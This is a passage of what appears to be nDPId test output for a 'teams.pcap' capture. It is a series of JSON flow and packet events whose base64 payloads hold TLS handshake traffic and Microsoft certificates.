hQ0+sc8Cv\/Bbrp4V+zCsaDew4AAAA="} +00440{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":896,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802360,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+VHAqAEGNHJLRux6AbuCUaSUMZVY6rAQEAl+FgAAAQEICjCErGJW53fXAQEFCjGVXooxlWQq"} +00425{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":897,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802397,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V3AqAEGNHJLRux6AbuCUaSUMZVkKoAQD6\/PCgAAAQEICjCErGJW53fz"} +00424{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":898,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802399,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V3AqAEGNHJLRux6AbuCUaSUMZVvaoAQD1XEJAAAAQEICjCErGJW53fz"} +00424{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802400,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V3AqAEGNHJLRux6AbuCUaSUMZVwVoAQD07DPwAAAQEICjCErGJW53fz"} +00424{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":900,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802468,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V3AqAEGNHJLRux6AbuCUaSUMZVwVoAQEADCjQAAAQEICjCErGJW53fz"} +00597{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":901,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":803367,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAG+N\/AqAEGNHJLRux6AbuCUaSUMZVwVoAYEABuqAAAAQEICjCErGNW53fzFgMDAEYQAABCQQRCHykjycQ+YysDW1nbaTFzY5zguJV1X+39rCv4Go2SaRWNHbEhm5ZXStHmGt0y5fJQP8fyRomQ2T4QmssmKb8zFAMDAAEBFgMDACgAAAAAAAAAAJde95qF1h+K4M0YxerhkxaYKARQZ6\/4jiLUbo+vBbUG"} +02374{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":902,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819208,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPqVAAGwGiRk0cktFwKgBBgG77HsaOO33T5C5IoAQBAWJqAAAAQEIClTde4YwhKxTjSsxwxRzId3jeGOcUYa1okhJwHkIFUMAK5m4S+DHVwdsxLmmVC0BU\/Kj8qTM2cFU84jN5EwT04ozIVitGL++OYFwOWk3+FukY+8JB9+HGmLHmgjF0R1eYnYB3WnmOLtEsC1NOsYugOBgclvyzOaOXDohHl2wOSu96hPLlsu2anSMjrwOEJ8bpUBBj5FcdqcO8ao6h7cMd99xai8oYUItkA9yBatn4MF7y5xAmsQKCESMfD26qQ4esdkivR9fQWpzVPZm4qD5pjne0nfzaQS\/t7s8xJP\/cgQctTadaH\/f+jlPsvaPuRz\/re0OFQjjhnzySEl3lxb2\/QD2T6Zeb+c5wFFlPeuxlzDs6p5z\/B4soN+Lz3NftQ4GQhcmlezYqSfQ0GWUXOI\/yigppSD0yN1dtP\/m3QIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBADCaxp1q\/e+TCAy+gnf5dqBtnnswI3uoKVr0aj7HCwyW37hLUuQNnDjteGO1c8AcHzvgp\/9\/SVGVMrjQm6nlz5YDgYDVSmEY\/sRqxt9\/QUYinIBm6w9CoOTzpCGjmNB6dPaM6MPSK6orzhFZGUTnXAcJQuvX\/RVNuW9sRDUmh7qjO2iwgecgyX8TAvPMq58clVDLrmSAu4cKXc6ma7J94z024ilRtyX80AnjsK3EYi4+foUmsvav920xc8YZmKlykwLOygs9POzZcOiA9RareGqHTcaBN6gKdoEGqO8XYHxwEBM8ONczTOQ3ZQj7kbPoFnZhKmX1WJSzRQHvwE8De7gWAAcrAQAHJzCCByMKAQCgggccMIIHGAYJKwYBBQUHMAEBBIIHCTCCBwUwgceiFgQUqShwURmVA+Jp3zLm2A+QCVyZqYAYDzIwMjAwNDE1MTkzMzA5WjCBmzCBmDBMMAkGBSsOAwIaBQAEFE8LW9m32q+ftvNjciJ21uGVriYpBBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fQITewAE4Lxi6ctlZLvhngAAAATgvIAAGA8yMDIwMDQxNTE5MzMwOVqgERgPMjAyMDA0MTkxOTMzMDlaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTYxOTMzMDlaMA0GCSqGSIb3DQEBCwUAA4IBAQBJ3b+j9b9amWJnAoiCkmf2UNIwgNLUYY7i2oIxOcCe4FwtfKqAknYBXLXDmybtzIEQGc9zVWPgZbClw+Dn6abFkbXSG0mhM4QP5D5MQbVxhe7SgYoYVGwkJbmRpd4grc+7uBTiXMgAxBCB5kUsxvRwqLqgwU4Ain2W6hQNvDRMAvojfSg3lYkOFvlf7bcTwOK90BIJGU11EABEc5brrKndHE9hje0klAXbzMZTL8AqrbgnzOZi1rf+0+Wq4RUDesXv6I1AJt7EoKj704jMo9fFhVZPD8osr0ZocAW0OSf5m2CQ\/UMENY99jq5D1K0ZM\/O3ik40uY\/GyUUQa5PIKgTroIIFIzCC"} +02362{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":903,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819297,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPqNAAGwGiRs0cktFwKgBBgG77HsaOOK3T5C5IoAQBAUeOAAAAQEIClTde4YwhKxTFgMDF00CAABVAwNemFWRxsczknY4W6\/34saNX6HG\/tkx\/UZ9Np0CsYEaKiDBDAAARXF5Y4o6n8EH5kwHvss0EWdkuluw\/cgdTRfUBcAwAAANAAUAAAAXAAD\/AQABAAsADnAADm0ACK8wggirMIIGk6ADAgECAhN7AATgvGLpy2Vku+GeAAAABOC8MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0xOTA1MDcxMjUwMDNaFw0yMTA1MDcxMjUwMDNaMBoxGDAWBgNVBAMMDyouYXNtLnNreXBlLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSeVBZeaxVgbEF7BDFpA+N3ExF3ZQK1QrQQqA05Ko2A7Gpby+2Es8MXR3Kj2VRAX9P5YFzjF3SN5faeJJRz+j7An2iOLXkwQNkglDT6\/sjB3LbEb7T\/nzN+yIm+S8blVfyih6JM9Apu\/ik1krtvLJUniVwHJtK2\/rOjpX264mOpTx8SQf7TjiIlSs3HiDphOG0YLn3YYZ8njuADtWKju18sgzmH3TMQYaJ5rR8rrvEPgZCHNBk+XQJFexPiGtcDjF2WCQ1CKqCKZf8hKbpm8Y4TnLNUxuhK2E+6sFA1dP+E8Bm6m26cCfBNV3G7APHf8AN1YKGjnSNcO3xC9CoOmEMCAwEAAaOCBHYwggRyMIIB9wYKKwYBBAHWeQIEAgSCAecEggHjAeEAdwC72d+8H4pxtZOUI5eqkntHOFeVCqtS6BqQlmQ2jh7RhQAAAWqSYTh5AAAEAwBIMEYCIQCK9TKQMvnjt3bF9IskNoov410+TNUfrflXc+EV+7RCFQIhAOhI+FRSDv5ZevTOA7yjzgGxZ7+Vifwc2fzYuzpyLBBgAHYA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFqkmE4gAAABAMARzBFAiAiHsCLrUDabE9VESRZTt4BikyAq6rNE1j3618pfpVpCAIhALEshKOsZh7n88+DKEMN6Qrti43TvlJOQ0RAjLMbS84WAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFqkmE4gwAABAMASDBGAiEAhlim8PX4pyi\/mpblvrIKUelL3OW87784ne5SOBJO7rUCIQCJx97+HPxXSJjEZtGi1euZMJxoXD7mYyvmnAr9RyA7ngB1AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABapJhOJEAAAQDAEYwRAIgSWpW2jkU6iqzOFfqoMvHGTVxpA4qvulMcPxZZ3C6R34CIBq5beRJMDaP8rIHcokNsjMMe+YTY4GBs5JmQen9SUa+MCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjAxLmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQU3aROfyhw35kc1iGhSMjmHtjM\/20wCwYD"} +00439{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":904,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819318,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+VLAqAEGNHJLRex7AbtPkLkiGjjit7AQEAk4IQAAAQEICjCErHJU3XtoAQEFCho47fcaOPOX"} +00439{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":905,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819322,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+VLAqAEGNHJLRex7AbtPkLkiGjjoV7AQD9wykAAAAQEICjCErHJU3XuGAQEFCho47fcaOPOX"} +02370{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":906,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819426,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPqRAAGwGiRo0cktFwKgBBgG77HsaOOhXT5C5IoAQBAUY\/wAAAQEIClTde4YwhKxTVR0PBAQDAgSwMBoGA1UdEQQTMBGCDyouYXNtLnNreXBlLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEACIPKEF9HBi2JkkD6ESYlhdNm8iY+gsr0gL6615hSWh4U8l6lWg6SETVfALvWbJjmw+\/RrBNplXGC8hs5V5pMU16UcIqWwWnwj9H89vNvbl1iKlIVOt4RWjn26oXYU89\/6yhyTFsoYJw14ZgatF4o6NskbJ4jd9eFkmtnA2pAjAkeUcTig\/ViNIaBgLHVSmEQ5VHoKbzaQkh9ExsrhRCPHgpPM725R0vC3YhgcdPvZKXA8fzvgpQbP1cw6DeiKQcXr17A51t6NQt7aUakXnzhmYfATzL77\/894cWiz0WcX4A0aa5DLZm140uoZWtRS26ZRq3nRyaM9dauZygIwi5IZv5dUKrmXINvpHM0KDbRNjj6QWrSnFzN0yfjKFx4W875eT04M\/x3qwsQkxjqUFF7C5v85IFT4eLY8IizHhU9Z\/RzToGnPY9l6O5EhWTtQpY\/KujoJzU1eF3iL2FGSCKmW8\/F09oFcAJ\/Mh5O5DKSlLCLAd\/XZQHUj9ZLL6IV9UR8Oljo5vGaqsqaweuAYLRkQfmzbLulFBfco+9oMqG+FmRopdfTBE6kr017ZOPRobJ8Ni+ncsyKb4w+jv5EC5IAzF20\/PMnQyzSIdBd7P3UkRAFoa4fG\/742U4mzEXZ\/hXTg2kehLVXTw011bmeK431GF1WynIKwOa40miKycFxYXgABbgwggW0MIIEnKADAgECAhAIuHpQG76c2i0WTT45Ub9VMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MTI4WhcNMjQwNTIwMTI1MTI4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCO8\/GEdXe8vsmk9RalUytQYJnc2H3ZJLXhckk3SP7ahpOjfR2aSxBNd3l+Zal8bjbiR9Q2SdDMJAInFOKucc3ZV3Q8EFYZkkqHYvnjkI1e3tFBGxqmH0CiLB6OVdcm2GhCq+wN3t1eYZWzrGyBzqjgra9fyqbkUWguJ\/1UKnGkzLt+kvH2U1EFMdAZgrDKY9DySgALzfRpS\/RallY5JsmdSwpjNDKApQTl6ii3wQDAbRrwKNRKj4CscxnY9RYvra4Il2IGLP7npfCtQVN\/"} +00424{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":907,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819461,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V7AqAEGNHJLRex7AbtPkLkiGjjzl4AQD6ZznQAAAQEICjCErHJU3XuG"} +00424{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":908,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819509,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V7AqAEGNHJLRex7AbtPkLkiGjjzl4AQEABzQwAAAQEICjCErHJU3XuG"} +02371{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":909,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819548,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPqZAAGwGiRg0cktFwKgBBgG77HsaOPOXT5C5IoAQBAUnWAAAAQEIClTde4YwhKxTBR8wggUbMIIDA6ADAgECAhNhABSap66sLDo2qRdOAAAAFJqnMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0yMDA0MDIxNzEzMzNaFw0yMTA0MDIxNzEzMzNaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfMV9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm1maDM3NHgdAGgJqybRrmWKqSKKEAYvfdrTYPfOpI9FRrz1yFR14GS0e4UDB2rKDlnKsuo9ERf\/Qqpm4JL8SvL0pujmn6ZoeGzO2t5TqMTECkWob1tiLQA1JYOA8RRLKv\/6QsvJzMX0qMbFHNBo4sgrAXoMuWjZcqWxH4fyrsBZdgc0mwpuoYVkD1vOmNWzPZMimjQN4cSMkWQA18afJyhp3Zot3K0OwDCe+wWTKimBMVYuYulSV22tyMOegkWJc5sufvpl383UKGyEuZphpcLBxNnCardIA\/ZTccdHp9K8sF+mKwepxetf1cMDzSEN\/\/lScMw9vnX9v5H8JjKrjnwIDAQABo4HWMIHTMB0GA1UdDgQWBBSpKHBRGZUD4mnfMubYD5AJXJmpgDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAgtIw1XGBca6Erz1OvszgvoWacr5GZbPwH0ImFUkqlkKLrDGX26dw78f6py5VurHJyseUPcKNiqot0YVSXUymap0K7zktMxei7OfRzxrEOStMFRhf4eEHV\/O7\/AyBR9FkstJwucamtnpDISZxXPW9rr05PkrOTdnlVyrAOCoYfaDnEQ+1xPoitDay0pVcsGYu77BrbIohKzTwrNEliVrRyxHwimvvaHfJEeI73Qw0xrKz5P2CAjjq+NS3oq42ShzO\/ZCeXkJIIQxSItMiM\/KixA61UUs2f5UNuYZUE81ffd5fJNZDPejQ32czGjgspCbvyvnAED5O\/ZqaA7YQYaq3nSRcyP4y0KOHUNeWrapkqf2VGf9QXuHcfDAhUX30IdVSnvu\/CLNrMi1Rc\/CZt9f0sLen3IGaj7ifKeBfINsKUj7Utkgl6EdqdMZrfLLmiG6+Y3\/KPyWJtGfIZM3e6ZY5B2wRzMrYYSNTP1k2g+IB3vv\/TAkkF6yAhm3Pz+d\/Rl+lIDcAaXujGd1t6LMRqDJpYUmLJDdwfzEcDT63DedYHw5CsMOyixyuwnidRlHASQQC1dmeOqRbV0dQxUDR0kmGy1yLAB3YKRexpVCttjSYvsbYbEtKmpQHIQQ8GwjWv4W9qsYbbo7PJWc0DNh7tJ43lVbs0jzQ0ajpeayGRvxpIogMAAFJAwAXQQRy1HRDpUzSvPzuW+AhNe9zOi7LZG4Bvgs8cSK4WHQLcBoNKbQZVZZYRNY2bd8CnR\/oEIDOQ0PEG\/C4ypTDybiOBAEBACbqRuN+yFWjhf6Bep\/8CdKBX5tbd\/fuvLREeC7iExGG4UbHa29HoRfNvZeMSZNCYlMS"} +00712{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":910,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819550,"pkt_caplen":276,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":276,"pkt_l4_len":242,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEGPqdAAGwGjeU0cktFwKgBBgG77HsaOPk3T5C5IoAYBAWlfAAAAQEIClTde4YwhKxTMVWY2KoM3UYNmUH53VfnFXQ7Balll6FrwjaWxkYmpJt0YQsGfB6o7My7usVjRo8Gl8LHEn9yDr8ZQjiqXpWCxWD1TPA5JGPQ4rki4qwn2LQnW1Z8jDbbG2rCsSoIsJ13reEorAWYQD9lgY7u6NhKhQivxM+NrK3lC10+ksRahXbaAed8F13P2B6X6pzJCA3sXXJy0ubM3rtfZ\/JuagHOdHC6t5DukWhpcRN\/gb9\/\/aLYdj+03iV+MEje6vELnhdfMDQOZ6uyxdS\/Ox2Q0OUOAAAA"} +00424{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":911,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":819590,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V7AqAEGNHJLRex7AbtPkLkiGjj6CYAQD8xtBQAAAQEICjCErHJU3XuG"} +00597{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":912,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":820604,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAG+ODAqAEGNHJLRex7AbtPkLkiGjj6CYAYEAAfqAAAAQEICjCErHNU3XuGFgMDAEYQAABCQQSp\/xAWzX3m+GIpNYZNVd0zA6MTBbdTMGVEx0p1jU87SuX7JAy22e1aGg2H\/gasj5M3tBe1eXKbBJ6jddJBRYpYFAMDAAEBFgMDACgAAAAAAAAAADSGNV1DA1tmj+MfNOrWBiBzPkbQyCVjLR4dzDxIj2ac"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":932,"source":"teams.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1587041682076,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.75.70","src_port":60540,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":932,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":76700,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+VHAqAEGNHJLRux8AbuMg\/cHAAAAALAC\/\/+l4gAAAgQFtAEDAwUBAQgKMIStbAAAAAAEAgAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":933,"source":"teams.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1587041682077,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.75.69","src_port":60541,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":933,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":77081,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+VLAqAEGNHJLRex9AbuFeblcAAAAALAC\/\/\/qlgAAAgQFtAEDAwUBAQgKMIStbQAAAAAEAgAA"} +00435{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":934,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":106830,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8XUVAAGwGcBA0cktGwKgBBgG77HwdJJF2jIP3CKASIACM5QAAAgQFoAEDAwgEAggKVscEoDCErWw="} +00424{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":935,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":106937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V3AqAEGNHJLRux8AbuMg\/cIHSSRd4AQEAnLdwAAAQEICjCErYpWxwSg"} 